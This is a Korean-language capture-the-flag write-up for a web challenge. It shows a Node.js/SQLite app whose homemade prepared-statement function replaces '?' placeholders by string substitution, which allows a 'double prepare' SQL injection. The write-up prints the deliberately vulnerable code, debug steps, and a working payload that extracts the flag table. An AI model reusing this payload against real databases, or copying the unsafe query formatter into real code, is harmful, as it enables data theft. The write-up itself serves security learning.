풀이 사전 지식
+ SQL Injection
Double prepare
# Problem
# Login Page
# Main Page
# Create Page
# List Page
# Source Code
# app.js
const crypto = require('crypto');
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const { Database, md5, checkParam } = require('./utils');
const app = express();
const db = new Database(':memory:');
app.set('view engine', 'ejs')
app.use(bodyParser.urlencoded({
extended: false
}));
app.use(session({
secret: crypto.randomBytes(32).toString()
}));
app.all('/login', async (req, res) => {
if (req.method !== 'POST') {
return res.render('login');
}
const { username, password } = req.body;
if (!checkParam(username) || !checkParam(password)) {
return res.redirect('?message=invalid argument');
}
const result = await db.get('select username, password from members where username = ?', [
username
]);
if (!result) {
await db.run('insert into members values (?, ?)', [ username, md5(password) ]);
} else if (result.password !== md5(password)) {
return res.redirect('?message=incorrect password');
}
req.session.login = username;
res.redirect('/');
});
app.use((req, res, next) => {
if (!req.session.login) {
res.redirect('/login');
}
next();
});
app.use('/logout', (req, res) => {
delete req.session.login;
res.redirect('/login');
});
app.get('/', async (req, res) => {
const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]);
res.render('list', { notes, auth: true });
});
app.all('/new', async (req, res) => {
if (req.method !== 'POST') {
return res.render('new', { auth: true });
}
const { title, content } = req.body;
if (!checkParam(title) || !checkParam(content)) {
return res.redirect('?message=invalid argument');
}
const noteId = md5(title + content);
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
return res.redirect('/?message=successfully created');
});
app.get('/view/:noteId', async (req, res) => {
const { noteId } = req.params;
const note = await db.get('select * from posts where id = ?', [ noteId ]);
if (!note) {
return res.redirect('/?message=invalid note');
}
res.render('view', { note, auth: true });
});
app.listen(1000);
JavaScript
복사
# utils.js
const sqlite3 = require('sqlite3');
const flag = require('fs').readFileSync('/flag').toString();
class Database {
constructor(filename) {
this.db = new sqlite3.Database(filename);
this.db.serialize(() => {
this.run('create table members (username text, password text)');
this.run('create table posts (id text, title text, content text, owner text)');
this.run('create table flag (flag text)');
this.run('insert into flag values (?)', [ flag ]);
});
}
run(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.run(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
get(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.get(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
getAll(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.all(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
#formatQuery(sql, params = []) {
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
} else {
sql = sql.replace('?', ""); // unreachable
}
}
return sql;
};
}
const checkParam = (param) => {
if (typeof param !== 'string' || param.length === 0 || param.length > 256) {
return false;
}
return true;
};
module.exports = {
Database,
checkParam,
md5: require('md5')
};
JavaScript
복사
소스코드를 확인해보면 flag table에 flag가 저장된 것을 확인할 수 있으며 SQL Injection 문제임을 확인할 수 있습니다.
# Attack Vector
## SQL Injection
# prepared statement
•
new
app.all('/new', async (req, res) => {
if (req.method !== 'POST') {
return res.render('new', { auth: true });
}
const { title, content } = req.body;
// console.log("title : ", title, "content : ", content);
// console.log('title type', typeof(title), 'content type', typeof(content));
if (!checkParam(title) || !checkParam(content)) {
return res.redirect('?message=invalid argument');
}
const noteId = md5(title + content);
//insert into posts values (?, ?, select)
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
return res.redirect('/?message=successfully created');
});
JavaScript
복사
?로 prepared statement를 사용하는 것을 확인할 수 있습니다.
•
formatQuery
#formatQuery(sql, params = []) {
console.log(params);
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
} else {
sql = sql.replace('?', ""); // unreachable
}
}
console.log("SQL ",sql);
return sql;
};
JavaScript
복사
db.run 코드를 분석하면 formatQuery를 이용해여 자체 구현한 prepared statement를 사용하는 것을 확인할 수 있습니다.
# Debug Mode
utils.js를 아래와 같이 수정합니다.
const sqlite3 = require('sqlite3');
const flag = require('fs').readFileSync('/flag').toString();
class Database {
constructor(filename) {
this.db = new sqlite3.Database(filename);
this.db.serialize(() => {
this.run('create table members (username text, password text)');
this.run('create table posts (id text, title text, content text, owner text)');
this.run('create table flag (flag text)');
this.run('insert into flag values (?)', [ flag ]);
//select flag from flag;
});
}
run(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.run(this.#formatQuery(...params), (_, res) => {
resolve(res);
console.log("RUN : ",res);
});
});
});
}
get(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.get(this.#formatQuery(...params), (_, res) => {
resolve(res);
//console.log("GET : ",res);
});
});
});
}
getAll(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.all(this.#formatQuery(...params), (_, res) => {
resolve(res);
//console.log("GETALL : ", res);
});
});
});
}
#formatQuery(sql, params = []) {
console.log(params);
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
} else {
sql = sql.replace('?', ""); // unreachable
}
}
console.log("SQL ",sql);
return sql;
};
}
const checkParam = (param) => {
if (typeof param !== 'string' || param.length === 0 || param.length > 256) {
return false;
}
return true;
};
module.exports = {
Database,
checkParam,
md5: require('md5')
};
JavaScript
복사
이후 아래의 명령어를 입력하여 docker를 시작합니다.
docker compose up
JavaScript
복사
이후 test, 1234를 입력하면 아래와 같이 Debug Message를 확인할 수 있습니다.
# Double prepare
Title에 ?를 입력할 경우 아래와 같은 결과를 확인할 수 있습니다.
위 결과를 바탕으로 Payload를 작성할 수 있습니다.
# Exploit
# Payload
Title : 1
Content : , (select flag from flag),'{id}')--
Plain Text
복사
# Flag
hsctf{038d083216a920c589917b898f
Plain Text
복사